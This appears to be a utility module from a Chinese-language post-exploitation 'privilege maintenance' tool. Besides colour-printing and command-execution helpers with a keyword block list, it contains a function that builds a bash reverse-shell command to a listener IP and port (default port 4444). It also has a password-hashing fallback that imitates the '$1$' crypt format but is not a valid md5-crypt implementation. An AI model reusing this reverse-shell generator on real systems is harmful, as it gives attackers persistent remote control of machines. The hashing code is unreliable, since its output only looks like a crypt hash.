#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

"""
privilegeMaintenance 工具模块

包含基础工具函数和系统信息管理类

作者: 大傻逼
版本: 1.0
"""
import subprocess
import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import platform
import re
import hashlib
import random
import string

# 设置默认编码，避免ASCII编码错误
if sys.version_info[0] == 2:
    try:
        reload(sys)  # Python 2 only
        sys.setdefaultencoding('utf-8')
    except NameError:
        pass  # Python 3 doesn't have reload in builtins
    import codecs
    
# 设置环境变量，确保正确的编码处理
os.environ['PYTHONIOENCODING'] = 'utf-8'
if 'LC_ALL' not in os.environ:
    os.environ['LC_ALL'] = 'C.UTF-8'

# 全局缓存，避免重复系统调用
_system_cache = {}

def safe_str(obj):
    """安全地将对象转换为字符串，避免编码错误"""
    try:
        if sys.version_info[0] == 2:
            if isinstance(obj, unicode):
                return obj.encode('utf-8')
            elif isinstance(obj, str):
                return obj.decode('utf-8').encode('utf-8')
            else:
                return str(obj)
        else:
            if isinstance(obj, bytes):
                return obj.decode('utf-8', errors='ignore')
            else:
                return str(obj)
    except (UnicodeDecodeError, UnicodeEncodeError):
        return repr(obj)

def safe_print(text):
    """安全地打印文本，避免编码错误"""
    try:
        print(safe_str(text))
    except (UnicodeDecodeError, UnicodeEncodeError):
        print(repr(text))

def color_title(value):  # 92m 绿色  94m蓝色
    safe_print('\n\033[92m[+]\033[0m------------------------------------\033[94m{}\033[0m'.format(safe_str(value)))

def color(title=None, value=None):  # 93m 黄色
    if title is not None and value is not None:
        safe_print("\033[93m[+]\033[0m{}: {}".format(safe_str(title), safe_str(value)))
    else:
        safe_print("\033[93m[+]\033[0m{}".format(safe_str(title)))

def color_red(title=None, value=None):  # 红色
    if title is not None and value is not None:
        result = "\033[31m[-]\033[0m{}: {}".format(safe_str(title), safe_str(value))
    else:
        result = "\033[31m[-]\033[0m{}".format(safe_str(title))
    safe_print(result)
    return result

def color_yellow(title=None, value=None):  # 黄色
    if title is not None and value is not None:
        result = "\033[33m[?]\033[0m{}: {}".format(safe_str(title), safe_str(value))
    else:
        result = "\033[33m[?]\033[0m{}".format(safe_str(title))
    safe_print(result)
    return result

def color_blue(title=None, value=None):  # 蓝色
    if title is not None and value is not None:
        result = "\033[34m[*]\033[0m{}: {}".format(safe_str(title), safe_str(value))
    else:
        result = "\033[34m[*]\033[0m{}".format(safe_str(title))
    safe_print(result)
    return result

def color_green(title=None, value=None):  # 绿色
    if title is not None and value is not None:
        result = "\033[32m[+]\033[0m{}: {}".format(safe_str(title), safe_str(value))
    else:
        result = "\033[32m[+]\033[0m{}".format(safe_str(title))
    safe_print(result)
    return result

def color_purple(title=None, value=None):  # 紫色
    if title is not None and value is not None:
        result = "\033[35m[*]\033[0m{}: {}".format(safe_str(title), safe_str(value))
    else:
        result = "\033[35m[*]\033[0m{}".format(safe_str(title))
    safe_print(result)
    return result

def ml(command, input_data=None, timeout=30):
    """
    安全执行系统命令并返回输出
    
    Args:
        command (str): 要执行的系统命令
        input_data: 输入数据
        timeout: 超时时间（秒）
        
    Returns:
        str: 命令的标准输出，如果执行失败返回空字符串
        
    Raises:
        无直接异常抛出，所有异常都被捕获并记录
        
    Security:
        - 检查危险字符和命令模式
        - 30秒超时机制
        - 防止命令注入攻击
    """
    try:
        # 基本的命令安全检查
        if not command or not isinstance(command, str):
            raise ValueError("命令不能为空且必须是字符串")
        
        # 检查危险字符和命令
        dangerous_patterns = [';']  # 移除&&和||，因为它们在系统检测中是合法的
        dangerous_commands = ['rm -rf /', 'format', 'del /f /s /q', 'shutdown', 'reboot']
        
        # 定义安全的命令模式（允许的&&和||使用场景）
        safe_command_patterns = [
            # 环境变量测试
            'export TEST_ALIAS_VAR=test && echo $TEST_ALIAS_VAR',
            # strace测试命令
            'strace -e trace=write echo "test" 2>&1 | grep -q "write" && echo "success" || echo "failed"',
            # 一般的系统检测模式
            'export ' in command and 'echo $' in command,
            'strace ' in command and 'echo ' in command,
            'grep -q' in command and ('&& echo' in command or '|| echo' in command),
        ]
        
        # 检查真正危险的模式（命令链接）
        if any(pattern in command for pattern in dangerous_patterns):
            raise ValueError("命令包含潜在危险字符: {}".format(command))
        
        # 对&&和||进行特殊检查，只允许安全的使用场景
        if '&&' in command or '||' in command:
            # 检查是否是安全的系统检测命令
            is_safe = (
                # 特定的安全命令
                command in [
                    'export TEST_ALIAS_VAR=test && echo $TEST_ALIAS_VAR',
                    'strace -e trace=write echo "test" 2>&1 | grep -q "write" && echo "success" || echo "failed"'
                ] or
                # 环境变量测试模式
                (command.startswith('export ') and 'echo $' in command and len(command.split('&&')) == 2) or
                # strace测试模式
                (command.startswith('strace ') and 'echo ' in command and ('&& echo' in command or '|| echo' in command)) or
                # grep测试模式
                ('grep -q' in command and ('&& echo' in command or '|| echo' in command) and 'echo "' in command)
            )
            if not is_safe:
                raise ValueError("命令包含潜在危险字符: {}".format(command))
        
        # 检查特定的危险组合，但允许合法的系统检测命令
        if '|' in command:
            # 允许常见的安全管道操作
            safe_pipe_patterns = ['grep', 'awk', 'sed', 'head', 'tail', 'wc', 'sort', 'uniq', 'cut']
            if not any(pattern in command for pattern in safe_pipe_patterns):
                raise ValueError("命令包含不安全的管道操作: {}".format(command))
        
        # 允许常见的重定向操作（用于错误抑制）
        if '>>' in command and '/dev/null' not in command:
            raise ValueError("命令包含潜在危险的重定向: {}".format(command))
            
        # 允许命令替换，但检查其安全性
        if '$(' in command:
            # 允许常见的安全命令替换
            safe_substitutions = ['which', 'whoami', 'id', 'pwd', 'uname', 'hostname']
            if not any('$({}'.format(sub) in command for sub in safe_substitutions):
                raise ValueError("命令包含不安全的命令替换: {}".format(command))
        
        # 检查危险命令
        if any(dangerous in command.lower() for dangerous in dangerous_commands):
            raise ValueError("禁止执行危险命令: {}".format(command))
        
        # 使用更安全的方式执行命令
        process = subprocess.Popen(
            command, 
            shell=True, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE,
            stdin=subprocess.PIPE,
            universal_newlines=False
        )

        # 如果有输入数据，将其写入子进程的stdin
        if input_data is not None:
            if isinstance(input_data, str):
                input_data = input_data.encode('utf-8')
            process.stdin.write(input_data)
            process.stdin.flush()
            process.stdin.close()

        # 等待子进程完成，设置超时（兼容旧版本Python）
        try:
            # Python 3.3+ 支持timeout参数
            if hasattr(subprocess, 'TimeoutExpired'):
                try:
                    stdout, stderr = process.communicate(timeout=timeout)
                except subprocess.TimeoutExpired:
                    process.kill()
                    stdout, stderr = process.communicate()
                    raise RuntimeError("命令执行超时: {}".format(command))
            else:
                # 旧版本Python的兼容处理
                import signal
                import time
                
                def timeout_handler(signum, frame):
                    raise RuntimeError("命令执行超时: {}".format(command))
                
                # 设置超时信号（仅在Unix系统上）
                if hasattr(signal, 'SIGALRM'):
                    old_handler = signal.signal(signal.SIGALRM, timeout_handler)
                    signal.alarm(timeout)
                    try:
                        stdout, stderr = process.communicate()
                        signal.alarm(0)  # 取消超时
                    except RuntimeError:
                        process.kill()
                        stdout, stderr = process.communicate()
                        raise
                    finally:
                        signal.signal(signal.SIGALRM, old_handler)
                else:
                    # 不支持信号的系统，简单等待
                    stdout, stderr = process.communicate()
        except Exception as e:
            if "超时" in str(e):
                raise e
            # 其他异常，继续处理
            stdout, stderr = process.communicate()

        # 安全地解码输出
        try:
            decoded_stdout = stdout.decode('utf-8')
        except UnicodeDecodeError:
            try:
                decoded_stdout = stdout.decode('latin1')
            except UnicodeDecodeError:
                decoded_stdout = stdout.decode('utf-8', errors='ignore')
        
        # 如果命令执行失败，记录错误但不抛出异常（保持原有行为）
        if process.returncode != 0:
            try:
                decoded_stderr = stderr.decode('utf-8', errors='ignore')
            except:
                decoded_stderr = "无法解码错误信息"
            # 可以选择记录错误，但保持原有的返回行为
            pass
            
        return decoded_stdout
        
    except Exception as e:
        # 记录错误但返回空字符串以保持兼容性
        safe_print("执行命令时发生错误: {}".format(safe_str(e)))
        return ""

class SystemInfo:
    """系统信息缓存类，避免重复调用"""
    def __init__(self):
        self._current_user = None
        self._distro_info = None
        self._system_info = None
        self._errors = []
    
    def log_error(self, error_msg, function_name=""):
        """记录错误信息"""
        error_entry = "[{}] {}".format(function_name, error_msg) if function_name else error_msg
        self._errors.append(error_entry)
        color_red("错误: {}".format(error_entry))
    
    def get_errors(self):
        """获取所有错误信息"""
        return self._errors
    
    def safe_execute(self, func, default_value="", error_msg="操作失败"):
        """安全执行函数，捕获异常"""
        try:
            return func()
        except Exception as e:
            self.log_error("{}: {}".format(error_msg, e))
            return default_value
    
    def get_current_user(self):
        """获取当前用户（缓存）"""
        if self._current_user is None:
            self._current_user = self.safe_execute(
                lambda: ml('whoami').strip(),
                default_value="unknown",
                error_msg="获取当前用户失败"
            )
        return self._current_user
    
    def get_distro_info(self):
        """获取发行版信息（缓存）"""
        if self._distro_info is None:
            # 延迟导入避免循环依赖
            from .distro_detection import detect_linux_distro
            self._distro_info = self.safe_execute(
                lambda: detect_linux_distro(),
                default_value="unknown",
                error_msg="获取发行版信息失败"
            )
        return self._distro_info
    
    def is_root_user(self):
        """检查是否为root用户"""
        return 'root' in self.get_current_user()
    
    def safe_file_read(self, file_path, encoding='utf-8'):
        """安全读取文件"""
        try:
            # Python 2/3 兼容性处理
            if sys.version_info[0] >= 3:
                with open(file_path, 'r', encoding=encoding) as f:
                    return f.read()
            else:
                # Python 2 不支持 encoding 参数
                import codecs
                with codecs.open(file_path, 'r', encoding=encoding) as f:
                    return f.read()
        except (FileNotFoundError, IOError):
            return None
        except PermissionError:
            self.log_error("没有权限读取文件: {}".format(file_path))
            return None
        except UnicodeDecodeError:
            try:
                if sys.version_info[0] >= 3:
                    with open(file_path, 'r', encoding='latin1') as f:
                        return f.read()
                else:
                    import codecs
                    with codecs.open(file_path, 'r', encoding='latin1') as f:
                        return f.read()
            except Exception as e:
                self.log_error("读取文件编码错误: {} - {}".format(file_path, e))
                return None
        except Exception as e:
            self.log_error("读取文件失败: {} - {}".format(file_path, e))
            return None



# 全局系统信息实例
system_info = SystemInfo()

def get_user_input(prompt, default=None):
    """获取用户输入"""
    if default:
        full_prompt = "{} [默认: {}]: ".format(prompt, default)
    else:
        full_prompt = "{}: ".format(prompt)
        
    try:
        user_input = input(full_prompt).strip()
        return user_input if user_input else default
    except (KeyboardInterrupt, EOFError):
        print("\n\n用户取消操作")
        return None

def get_ip_input(prompt="请输入目标IP地址", default="192.168.1.100"):
    """获取IP地址输入，带验证"""
    while True:
        ip = get_user_input(prompt, default)
        if ip is None:
            return None
        
        # 简单的IP地址格式验证
        ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
        if re.match(ip_pattern, ip):
            # 检查每个数字是否在0-255范围内
            parts = ip.split('.')
            if all(0 <= int(part) <= 255 for part in parts):
                return ip
        
        color_red("无效的IP地址格式，请重新输入")

def get_port_input(prompt="请输入端口号", default="4444"):
    """获取端口号输入，带验证"""
    while True:
        port = get_user_input(prompt, default)
        if port is None:
            return None
        
        try:
            port_num = int(port)
            if 1 <= port_num <= 65535:
                return str(port_num)
            else:
                color_red("端口号必须在1-65535范围内，请重新输入")
        except ValueError:
            color_red("端口号必须是数字，请重新输入")

def get_reverse_shell_command(ip=None, port=None):
    """生成反弹shell命令"""
    if ip is None:
        ip = get_ip_input("请输入监听IP地址", "192.168.1.100")
    if port is None:
        port = get_port_input("请输入监听端口", "4444")
    
    if ip is None or port is None:
        return None
    
    return "bash -i >& /dev/tcp/{}/{} 0>&1".format(ip, port)

def encrypt_password_fallback(password):
    """
    Python原生密码加密函数，作为openssl的备用方案
    使用MD5加密（简化版，仅用于测试环境）
    """
    try:
        # 生成随机盐值
        salt = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
        
        # 使用MD5加密（注意：生产环境应使用更安全的算法）
        if sys.version_info[0] == 2:
            password_bytes = password.encode('utf-8') if isinstance(password, unicode) else password
            salt_bytes = salt.encode('utf-8') if isinstance(salt, unicode) else salt
        else:
            password_bytes = password.encode('utf-8') if isinstance(password, str) else password
            salt_bytes = salt.encode('utf-8') if isinstance(salt, str) else salt
        
        # 创建MD5哈希
        md5_hash = hashlib.md5(salt_bytes + password_bytes).hexdigest()
        
        # 返回类似crypt格式的哈希（简化版）
        return "$1${}${}".format(salt, md5_hash)
        
    except Exception as e:
        return None

# Python 2.7兼容性函数
def run_command_compat(cmd, stdout=None, stderr=None, text=False):
    """兼容Python 2.7的subprocess.run()替代函数"""
    try:
        if hasattr(subprocess, 'run'):
            # Python 3.5+
            if text and sys.version_info >= (3, 7):
                result = subprocess.run(cmd, stdout=stdout, stderr=stderr, text=text)
            else:
                result = subprocess.run(cmd, stdout=stdout, stderr=stderr)
                if text and hasattr(result, 'stdout') and result.stdout:
                    result.stdout = result.stdout.decode('utf-8', errors='ignore')
                if text and hasattr(result, 'stderr') and result.stderr:
                    result.stderr = result.stderr.decode('utf-8', errors='ignore')
            return result
        else:
            # Python 2.7兼容
            class CompatResult:
                def __init__(self, returncode, stdout=None, stderr=None):
                    self.returncode = returncode
                    self.stdout = stdout
                    self.stderr = stderr
            
            if stdout == subprocess.PIPE and stderr == subprocess.PIPE:
                proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                stdout_data, stderr_data = proc.communicate()
                
                if text:
                    if stdout_data:
                        stdout_data = stdout_data.decode('utf-8', errors='ignore')
                    if stderr_data:
                        stderr_data = stderr_data.decode('utf-8', errors='ignore')
                
                return CompatResult(proc.returncode, stdout_data, stderr_data)
            else:
                proc = subprocess.Popen(cmd, stdout=stdout, stderr=stderr)
                proc.wait()
                return CompatResult(proc.returncode)
    except Exception as e:
        # 创建错误结果
        class CompatResult:
            def __init__(self, returncode, stdout=None, stderr=None):
                self.returncode = returncode
                self.stdout = stdout
                self.stderr = stderr
        return CompatResult(1, None, str(e))